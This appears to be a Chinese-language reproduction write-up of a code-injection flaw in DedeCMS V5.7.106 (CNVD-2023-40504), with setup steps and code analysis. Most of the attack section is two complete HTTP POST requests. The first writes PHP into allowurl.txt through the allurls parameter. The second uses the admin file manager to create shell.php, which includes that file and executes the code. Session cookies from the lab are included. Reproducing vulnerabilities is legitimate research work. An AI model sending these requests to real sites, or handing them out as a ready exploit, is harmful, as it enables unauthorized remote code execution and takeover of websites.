复现环境下载
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.106-UTF8.zip
影响版本
DedeCMS V5.7.106
CNVD编号:CNVD-2023-40504
漏洞分析
漏洞文件: uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一,在5.7.106之前的DedeCMS中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件uploads/dede/article_allowurl_edit.php的未知功能。操纵参数allurls会导致代码注入。可以远程发起攻击获得网站控制权限。
把下载好的文件解压到刚刚网站创建的目录,访问创建的网站进行安装。
继续下一步
安装完成之后,我们来进行一波代码分析,通过查找文件/dede/article_allowurl_edit.php发现未对文件内容做任何过滤,会把内容写入到:
/data/admin/allowurl.txt
这个文件当中
先登录网站后台访问此文件如下图所示:
/dede/article_allowurl_edit.php
添加如下内容,在这个地方,dedecms安全过滤器通过文件创建被绕过,事实上,文件包含函数没有被过滤,因此它可以用于任意文件包含;
点击确定burp拦截到如下数据包
POST /dede/article_allowurl_edit.php HTTP/1.1
Host: X.X.X.X
Content-Length: 147
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
http://192.168.160.4
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:
http://192.168.160.4/dede/article_allowurl_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=1aiacudvg5ett0sie1hldrsirp; _csrf_name_f6248c53=b78d93a8fa8ca918ce43981d99fef4fe; _csrf_name_f6248c531BH21ANI1AGD297L1FF21LN02BGE1DNG=c1395807345a5866; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=ebfa2a04dd016f07; DedeLoginTime=1685497822; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=508a22baef9e1b61
Connection: close
dopost=save&allurls=www.dedecms.com%0D%0Awww.desdev.cn%0D%0Abbs.dedecms.com%0D%0A%3C%3Fphp+phpinfo%28%29%3B%3F%3E&imageField1.x=32&imageField1.y=20
保存成功。
回到文件中查看已经写入到txt中
通过/dede/file_manage_control.php
文件构造文件包含代码如下:
POST /dede/file_manage_control.php HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=1aiacudvg5ett0sie1hldrsirp; _csrf_name_f6248c53=b78d93a8fa8ca918ce43981d99fef4fe; _csrf_name_f6248c531BH21ANI1AGD297L1FF21LN02BGE1DNG=c1395807345a5866; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=ebfa2a04dd016f07; DedeLoginTime=1685497822; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=508a22baef9e1b61
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
fmdo=edit&backurl=&token=&activepath=&filename=shell.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++
(此处请求数据包的功能点在附件管理->文件式管理器-新建文件
)
成功保存一个文件!!! 这时我们访问根目录下shell.php看下是否解析。
成功解析php文件!!!
感兴趣的小伙伴可以自行搭建测试环境本地测试。